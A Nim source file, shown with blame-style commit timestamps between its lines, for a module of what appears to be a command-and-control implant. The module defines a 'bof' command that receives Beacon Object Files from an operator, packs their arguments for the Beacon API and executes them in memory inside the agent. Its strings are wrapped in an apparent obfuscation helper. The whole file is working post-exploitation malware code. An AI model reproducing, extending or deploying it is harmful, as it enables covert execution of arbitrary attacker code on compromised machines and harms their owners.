2025-08-29 15:58:26 +02:00
import .. / common / [ types , utils ]
# Define function prototype
proc executeBof ( ctx : AgentCtx , task : Task ) : TaskResult
2025-09-17 15:55:13 +02:00
# Module definition
let module * = Module (
name : protect ( " bof " ) ,
description : protect ( " Load and execute BOF/COFF files in memory. " ) ,
2025-09-27 12:36:59 +02:00
moduleType : MODULE_BOF ,
2025-09-17 15:55:13 +02:00
commands : @ [
Command (
name : protect ( " bof " ) ,
commandType : CMD_BOF ,
description : protect ( " Execute an object file in memory and retrieve the output. " ) ,
example : protect ( " bof /path/to/dir.x64.o C: \\ Users " ) ,
arguments : @ [
Argument ( name : protect ( " path " ) , description : protect ( " Path to the object file to execute. " ) , argumentType : BINARY , isRequired : true ) ,
Argument ( name : protect ( " arguments " ) , description : protect ( " Arguments to be passed to the object file. Arguments are handled as STRING, unless specified with a prefix ([i]:INT, [w]:WSTRING, [s]:SHORT; the colon separates prefix and value) " ) , argumentType : STRING , isRequired : false )
] ,
execute : executeBof
)
]
)
2025-08-29 15:58:26 +02:00
# Implement execution functions
2025-09-27 12:36:59 +02:00
when not defined ( agent ) :
2025-08-29 15:58:26 +02:00
proc executeBof ( ctx : AgentCtx , task : Task ) : TaskResult = nil
when defined ( agent ) :
2025-10-31 16:59:10 +01:00
import strformat
2025-10-23 17:28:07 +02:00
import .. / agent / core / coff
import .. / agent / utils / io
2025-08-29 15:58:26 +02:00
import .. / agent / protocol / result
2025-10-31 16:59:10 +01:00
import .. / common / serialize
2025-08-29 15:58:26 +02:00
proc executeBof ( ctx : AgentCtx , task : Task ) : TaskResult =
try :
var
objectFile : seq [ byte ]
arguments : seq [ byte ]
# Parse arguments
case int ( task . argCount ) :
of 1 : # Only the object file has been passed as an argument
objectFile = task . args [ 0 ] . data
arguments = @ [ ]
2025-08-30 14:05:09 +02:00
else : # Parameters were passed to the BOF execution
2025-08-29 15:58:26 +02:00
objectFile = task . args [ 0 ] . data
# Combine the passed arguments into a format that is understood by the Beacon API
arguments = generateCoffArguments ( task . args [ 1 .. ^ 1 ] )
2025-09-01 20:27:00 +02:00
# Unpacking object file, since it contains the file name too.
var unpacker = Unpacker . init ( Bytes . toString ( objectFile ) )
let
fileName = unpacker . getDataWithLengthPrefix ( )
objectFileContents = unpacker . getDataWithLengthPrefix ( )
2025-10-20 22:08:06 +02:00
print fmt" [>] Executing object file {fileName}. "
2025-09-01 20:27:00 +02:00
let output = inlineExecuteGetOutput ( string . toBytes ( objectFileContents ) , arguments )
2025-08-29 15:58:26 +02:00
if output ! = " " :
return createTaskResult ( task , STATUS_COMPLETED , RESULT_STRING , string . toBytes ( output ) )
else :
return createTaskResult ( task , STATUS_FAILED , RESULT_NO_OUTPUT , @ [ ] )
except CatchableError as err :
return createTaskResult ( task , STATUS_FAILED , RESULT_STRING , string . toBytes ( err . msg ) )